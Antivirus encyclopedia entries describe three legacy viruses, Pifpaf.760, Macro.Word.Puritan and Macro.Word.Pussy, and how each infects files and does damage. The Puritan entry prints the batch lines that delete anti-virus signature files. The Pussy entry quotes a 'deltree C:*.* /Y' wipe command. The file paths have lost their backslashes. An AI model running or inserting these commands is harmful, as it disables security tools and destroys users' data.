Pifpaf.760
Description Pifpaf.760
It is a harmless memory resident parasitic virus. It hooks INT 21h and writes itself to the end of COM and EXE files that are executed. It contains the text:
PIF-PAF B v1.0
Nincs kegyelem !
Check other viruses! Be aware! Use Antiviral Software
Macro.Word.Puritan
Description Macro.Word.Puritan
This is a dangerous macro virus. In infects documents and global macros area (NORMAL.DOT). There are six virus macros, but there are only five different ones:
Document NORMAL.DOT
Macro1 Puritan Puritan
Macro2 Rtr Retro
Macro3 FSAB FileSaveAs
FSAB
Macro4 AOB AOB
AutoOpen
Macro5 ToolsMacro ToolsMacro
The virus infects global macros area on AutoOpen and documents on FileSaveAs. The virus deletes the anti-virus files, if they exist:
C:Program FilesNorton AntiVirusVirscan.Dat
C:Program FilesF-Prot95Fpwm32.dll
C:Program FilesMcAfeeScan.dat
C:Tbavw95Tbscan.sig
It also appends to the end of AUTOEXEC.BAT file the commands that also delete these files:
@echo off
IF exist C:Program FilesNorton AntiVirusVirscan.Dat
then del C:Program FilesNorton AntiVirusVirscan.Dat
IF exist C:Program FilesF-Prot95Fpwm32.dll
then del C:Program FilesF-Prot95Fpwm32.dll
IF exist C:Program FilesMcAfeeScan.dat
then del C:Program FilesMcAfeeScan.dat
IF exist C:Tbavw95Tbscan.sig
then del C:Tbavw95Tbscan.sig
On accessing Tools/Macro menu the virus displays the MessageBox with the strings:
Out of memory.
WordBasic Err = 7
The virus contains the comments in the Puritan macro:
The Style of macro virii was invented by
those with an Open mindall
If you have an Open mind To other influences
you will grow out as one of the best...
'Poet of the highest quality ;-) from
'--- Neophyte ----
Macro.Word.Pussy
Description Macro.Word.Pussy
This macro virus contains two macros: AutoExec, AutoOpen. It runs its infection routine only if the name of current document is "PUSSY". The virus is very dangerous: while loading an infected document it writes the commands "deltree C:*.* /Y" to the C:AUTOEXEC.BAT file, and "switches=/N" to the C:CONFIG.SYS file.
After infecting it displays the MessageBox:
Program Error
This Program Has performed an illegal action and will be terminated.
Quit Windows and restart your computer Imediatly!
|